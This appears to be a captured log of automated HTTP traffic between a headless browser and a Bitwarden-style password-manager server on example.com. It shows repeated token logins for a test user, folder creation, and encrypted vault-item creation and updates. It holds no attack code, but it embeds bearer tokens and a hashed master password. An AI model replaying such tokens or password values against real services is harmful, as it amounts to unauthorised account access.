{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=c2be2e36-3d11-4c06-8ba1-335675d058c6&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=956d620f-327f-4df5-99e1-7e907433bbd1&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||
{"method": "POST", "target": "/api/folders", "headers": ["Host: example.com", "Content-Length: 127", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODA2NTIsImV4cCI6MTc5NDI4Nzg1MiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBweXRob24zIiwiZW1haWwiOiJhbGljZUBleGFtcGxlLmNvbSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJzc3RhbXAiOiIyZGZiZDFlOS03M2VmLTRiZmMtYTVhNy02ZDgwNTM2MjE1MjciLCJkZXZpY2UiOiI5NTZkNjIwZi0zMjdmLTRkZjUtOTllMS03ZTkwNzQzM2JiZDEiLCJkZXZpY2V0eXBlIjoiVW5rbm93biBCcm93c2VyIiwiY2xpZW50X2lkIjoid2ViIiwic2NvcGUiOlsiYXBpIiwib2ZmbGluZV9hY2Nlc3MiXSwiYW1yIjpbIkFwcGxpY2F0aW9uIl19.nsIhN1Xu3znoozRrpinyJHICNbt-hqF-hF6utZkRAQsKqGP25WeOwRhiiay932ZIDHyDp5MpFnlAIHUG2ZifV0BMnQtTztqiLw4oRGFT_oOXSr2Q4hxwENQTjX2A3k1nC9yaKtzzwmZIHVnYMZvWOBcZ7kWE9LzgX3GiFivf3Pxear6TUu5m4SNm07vNgmoEzjvU83DYeJhsPQvFHwjxSaPlnKg2DjO--z3c5xKlmPMGmkRpoyjc3aAwXT3T3mbr7kUn_dKf1On1IlvVUMIE_1OIcEaJRb1iscxHokFs5WgnkG7Kio92cWAWCBzk7B8-z-e6eAI_2Y59fmOSy7xZ8w", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"name\":\"2.zvqHECD7DJhZvdxHAcURWQ==|H5AmHifDugbL0KqJrF8lF3ZB+ztLN/g2ML21y5WYYlw=|Ij+V3Bn/ktVCDC10Rfinxtrd+08DJYPzvB88xwnE2os=\"}"}
|
||||
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=efa4890d-fe4f-47d2-8c61-64b3db3cc752&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||
{"method": "POST", "target": "/api/ciphers", "headers": ["Host: example.com", "Content-Length: 1416", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODA2ODYsImV4cCI6MTc5NDI4Nzg4NiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBweXRob24zIiwiZW1haWwiOiJhbGljZUBleGFtcGxlLmNvbSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJzc3RhbXAiOiIyZGZiZDFlOS03M2VmLTRiZmMtYTVhNy02ZDgwNTM2MjE1MjciLCJkZXZpY2UiOiJlZmE0ODkwZC1mZTRmLTQ3ZDItOGM2MS02NGIzZGIzY2M3NTIiLCJkZXZpY2V0eXBlIjoiVW5rbm93biBCcm93c2VyIiwiY2xpZW50X2lkIjoid2ViIiwic2NvcGUiOlsiYXBpIiwib2ZmbGluZV9hY2Nlc3MiXSwiYW1yIjpbIkFwcGxpY2F0aW9uIl19.aicYeYbu5CL2WLAr6Ws9A8ZeiP-_l0q44LIWHRw2pramR20ZJ6lFCz88PTRzgnMwwlHYpDoqX4GZXIMWJ-TCG8yoasgxqxFqUdV73oSkspnhrEtJ7tk4Lelo_RGEkY2P86SZPrIzWAJNmvNA57bHpfDL34tIjNDDOPQGaRPZE3CKOdnmqqWlfFkJx3F0lNnOdwiNqM5_cVQZj_X2r4HXVLtRhWoUcqGb8uRmYPT0M3qNnNAPwkXUnPDZrxtfAeOt_dLQYMsesiZag6k9M3PbET7XnuJR9ud_Y-hbh9gETqzYkC7XxMGjrnrBdme-zRwlDRgRlWMpodiS7jQjRRAYLg", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"type\":1,\"encryptedFor\":\"a43d6bb6-8efc-4dbe-ad25-0565eff91d6b\",\"encryptedByKeyId\":\"549cd3b87c242101679813f95c7c6cac\",\"name\":\"2.z5hs4tbC5CX2JBkD4VcwuA==|rJnoBTK9rfs5WqBNdDPGcJ6/dfoMSXMgyJvS5jJjkWY=|+RhYjXLVpbQQQUEkgVPp0i419U7H+5rw25NylSsTbrI=\",\"notes\":\"2.EKbq3eMUSRn0Hsf4X7Aj7w==|L4MMjwZa2sB4USlig5HROru+xF7qOQPML/bxjBSVV6s8CwZUkI2KfJLcygLM4Mz+uN7zpI0JB4I+BqNPyHL8SmQsD4jecP0svveqkH4Ir5ScA4I1ZI9nKKw2ij9zNHfX|Wl/LGj753i+2saPecRRLxRL8nkz44WXsncc6NcP8nZw=\",\"favorite\":false,\"lastKnownRevisionDate\":\"2026-11-10T03:18:22.538Z\",\"reprompt\":0,\"key\":\"2.aKbSf/p5rI3+ilXtcBB2gg==|iqoCQRDMhuansz7peNgtOF3sYKPa6YnLzm+z/7WLjVy6lrZ8xHivfTDfsS+pkHSquOUHwJpBh+esSAIW2UWJ12dg6opj8PSf3yU3oh0HiP4=|vGbeUzylcM57H7og00yWHED/keOeZtUwX090k0RNWWg=\",\"login\":{\"response\":null,\"uris\":[{\"response\":null,\"match\":null,\"uri\":\"2.29y9Yq9DXD9R6HTL/3jF5w==|SFq02k/cunLh8romxHP+59hTTgjWQeEE/0euvd6QuLxo8+oN0/bmgEeU6C6NuU2A|AjQXTsxluYaSrXQ4QxZY+/VYX3zSZw3k+1yblKyVzFs=\",\"uriChecksum\":\"2.e+9sG5Fau4oikkl3eT/5xA==|AdH0iPec9b4Ft+W6CEFD0zS8U/pWaFlUudegjimQn5BnNgJMnj2vJywYS+VQLRLM|L03v/H5JWAZ2ZXa2jXVFn/zoY7kF9GRZZLZB6Kw2qnI=\"}],\"username\":\"2.V469GMxqUBkah+PZDSKMZg==|EiqgA/BSWJAL+NlJKOaqjw==|5ZKCAwotKT6RB8lOLZx8FG6srihhSlWb5WInbzSszRY=\",\"password\":\"2.oretlvGP2nOYTVKfo7pTcw==|SCN4uUhv0Y2ENFcHouLqCOKNMrLDeCL6/N1LQJD24rg=|VdxDpYtI6qugmrKonYxW7nE2SeLN+5GssYkkb4HFV2M=\",\"passwordRevisionDate\":null,\"totp\":null},\"fields\":[],\"attachments\":{},\"attachments2\":{}}"}
|
||||
{"method": "GET", "target": "/icons/example.com/icon.png", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: image", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: i"], "body": ""}
|
||||
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=68bf4d9c-780c-4192-bd8a-41a272c14413&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=e934ef7b-6b36-4421-ac6c-2bce46150042&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||
{"method": "POST", "target": "/api/ciphers", "headers": ["Host: example.com", "Content-Length: 856", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODA3NTEsImV4cCI6MTc5NDI4Nzk1MSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBweXRob24zIiwiZW1haWwiOiJhbGljZUBleGFtcGxlLmNvbSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJzc3RhbXAiOiIyZGZiZDFlOS03M2VmLTRiZmMtYTVhNy02ZDgwNTM2MjE1MjciLCJkZXZpY2UiOiJlOTM0ZWY3Yi02YjM2LTQ0MjEtYWM2Yy0yYmNlNDYxNTAwNDIiLCJkZXZpY2V0eXBlIjoiVW5rbm93biBCcm93c2VyIiwiY2xpZW50X2lkIjoid2ViIiwic2NvcGUiOlsiYXBpIiwib2ZmbGluZV9hY2Nlc3MiXSwiYW1yIjpbIkFwcGxpY2F0aW9uIl19.PX-v7IJXm_Y212uDWQ0gBOj1yVAqhDPEZxo5SOYW5OffP1wR0tdAKTsavvrnv0NLTWfEwBPdwSmKuGIAv-HtuJutDpwm4f4GtneXms-f2Ax1UEAhc3bqhHHue9teXSv7YC8p1Ik50qgQ-MtyOoXE1OStlfv7IF33pawcZOdgMPoKTnW5f_90ydWDNuvhSrBj__UdHyNyPDBdsVhi4b9z9gsJ7J893itwXklKwjeaJbO8pErds-GJsiqfyayv0QBUl4MiQfuUyuTiwLwFY9_zQzzU7rC7t2r0LuLx3c0HVInRPmOAOieq5dWZzf5ApM9pQh5dRNPQIUJRqDeJqWbSrQ", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"type\":2,\"encryptedFor\":\"a43d6bb6-8efc-4dbe-ad25-0565eff91d6b\",\"encryptedByKeyId\":\"549cd3b87c242101679813f95c7c6cac\",\"name\":\"2.b7CFv95ZokmibuvTdEUD9Q==|frGi3t31pXlY6YbH85tUAy0SqRlks5WKZ821B84RaCM=|gCtMzl53++qtpO7m3Z3igKoKCHO1a2zO/SUny62+Yhs=\",\"notes\":\"2.Syz1oYYLl9iswsrX10u0eg==|38mV7HKkWd949xfGD7GOm3A+pLBMoLHrJt6tPU+GrNZy47FfJNPuNw0jTAy9ZvqIPuh+tfvRQxqgW8MDtHXJbhpNTwkmztIJ1LUdQDU+VbRWjiRrhFq2VC5YkdIBa9LrwQ6lhcjx/PsDTIUhZ0Q2sHF9gCJQ66HBjr/vAQtbvRk=|mP2uyOzS8lTIep1XH5lAT6IZy1N5Pks1Cnbr9XqcgGM=\",\"favorite\":false,\"lastKnownRevisionDate\":\"2026-11-10T03:19:27.800Z\",\"reprompt\":0,\"key\":\"2.Gtpoy7RVxVNnzrkXqOzkjg==|ZEfdTXItnem5D7Eh0PnTPgwZIPjjNTv26W+fU3SYNN5mDAIlKIDP9Gt7SUmqI/R1xLyUrH5Vh/tg2BxN4Z6XivC6yCfe+guvJv2UTk0KgXA=|fTag4snzPkDrGNJ6q7lbz/HehqyuKLoG01PrAxNd6Pw=\",\"secureNote\":{\"response\":null,\"type\":0},\"fields\":[],\"attachments\":{},\"attachments2\":{}}"}
|
||||
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=96fc2d4e-83f6-4c41-bfd5-c8ec2f555bd4&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=504a6883-9ade-4f08-9a5d-6c17eeb477a0&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=5a99d594-ab10-4499-aa3c-b9317d4e5475&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||
{"method": "PUT", "target": "/api/ciphers/f81eb6e1-8210-4e15-8b9b-6ff70f7edc7d", "headers": ["Host: example.com", "Content-Length: 1486", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODA4NTksImV4cCI6MTc5NDI4ODA1OSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBweXRob24zIiwiZW1haWwiOiJhbGljZUBleGFtcGxlLmNvbSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJzc3RhbXAiOiIyZGZiZDFlOS03M2VmLTRiZmMtYTVhNy02ZDgwNTM2MjE1MjciLCJkZXZpY2UiOiI1YTk5ZDU5NC1hYjEwLTQ0OTktYWEzYy1iOTMxN2Q0ZTU0NzUiLCJkZXZpY2V0eXBlIjoiVW5rbm93biBCcm93c2VyIiwiY2xpZW50X2lkIjoid2ViIiwic2NvcGUiOlsiYXBpIiwib2ZmbGluZV9hY2Nlc3MiXSwiYW1yIjpbIkFwcGxpY2F0aW9uIl19.rqH6irHL0Vlmd8SZoiSrx5YarTel81c5qR7HTxJvdNP3ebAv_xiyeGpu54FNheacdXjQ8RpkenVd8l52Kp_NSHObcJ5IIaTKCM1OyqYBiG83K6gQOAlGH2DcsXeufXczQbX_-ArXfq02aqfAtQ5aqczcuIDRoK-QApK1_oo2SnRuPBHww-71f3VXMcGWLF0cSXmj0JbJptvvsaGDRv1D5sKnRZAMSO1rU2LTMhvPlwYrw7GWCWMw9WziPdZoyBO24LGKGW8GibQKg31i0cwA38dUTvaQB0xl0BkZyXv5Px1MV0D0i-I9ubIQN3xXucnmosyFnhokxHjki4_bPOS72Q", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"type\":1,\"encryptedFor\":\"a43d6bb6-8efc-4dbe-ad25-0565eff91d6b\",\"encryptedByKeyId\":\"549cd3b87c242101679813f95c7c6cac\",\"folderId\":\"c237cd82-467a-4c5d-9497-289558b53894\",\"name\":\"2.9X5nSBWyYr6ag9ZkOBfEfg==|wrx0sT53uIr5Imfw1lb6Ob8QSIeIbPuPw/kHTF4NNu6En49/4u1EIhqjc7YD2VGC|r9Ne3ESFr5MTF8+oTRzAEl3Fp7peG9SDcfP9jvuwfIo=\",\"notes\":\"2.mevOP4NbCC+/rFva1e2cEA==|hx8GPMywv9f2kiE5eLCP+o978G/nniIm0KUQMyLdui2T4L4oHKjBOZ/bD5rq+ElcECpyjtcMYocyh1v5pCkZNxyxghbVmUUNzFUSswrUeKyYazRAkneYCuPLK0dBHeZA|5KA7ps39+mzQKsi/o2Gq/cUGdWC9HPQuJlD0CrupHvs=\",\"favorite\":false,\"lastKnownRevisionDate\":\"2026-11-10T03:18:24.717Z\",\"reprompt\":0,\"key\":\"2.jHRM8r/PSUm/0GCmqPEQfQ==|ci46XxK/yHARbWEVmK5FaWPCrm4+wR+hk7m5InOvEEU9kXo7XC9baVDepWvAWG+iIpki0O1eZlo9RZheVFw5xEY87WJsgP9I33gFCWq/H2w=|mFBRXlb8PzphbeL9J5Zm8maVjF9MqM4luVjMVLehq60=\",\"login\":{\"response\":null,\"uris\":[{\"response\":null,\"match\":null,\"uri\":\"2.TU3eEpiNeHB1wrISERB2PA==|4nHgMJ3od1dIXZvQVsDUHtT3iCIIUwmk7vKU+IBWomPxeKhim8M0Ol/RGym7PkEc|qTcQxkDM4+PH1NEKGOWMB7xxuUnosiabVgcHq8GYusc=\",\"uriChecksum\":\"2.K5cnRfwBqhCBF8B05yMgqw==|s5GzXKhdH26/yPy4UMkjl7w3Fkn8RWcPHYw6wBLC1qWMP8T9/OpTtQQ04+Bovxyc|7FBVRSxu7vsDmhxXISBoVjX6ZkxrhHSYrCtGqURNvP0=\"}],\"username\":\"2./IVE1G1CHvEXfiut/Ooq6Q==|NOEehVWQVC7Bs70T6uYHRQ==|Bewxw1S6naMXkTm37JkdNdIx7VSPfYR8w7tYPakPkbE=\",\"password\":\"2.Upbmr0/OHqQ6dVeOK/ATUw==|pMbpTa2plFb3JyOWd+9IfVfMz4tql3z5um0iZEmEIA8=|ZoZ7QAgf268psKxY0xUE7VaniInDvU2of4k4Qq5QTKQ=\",\"passwordRevisionDate\":null,\"totp\":null},\"fields\":[],\"attachments\":{},\"attachments2\":{}}"}
|
||||
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=527c89c1-a922-4e00-bf66-96067c0b616a&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||
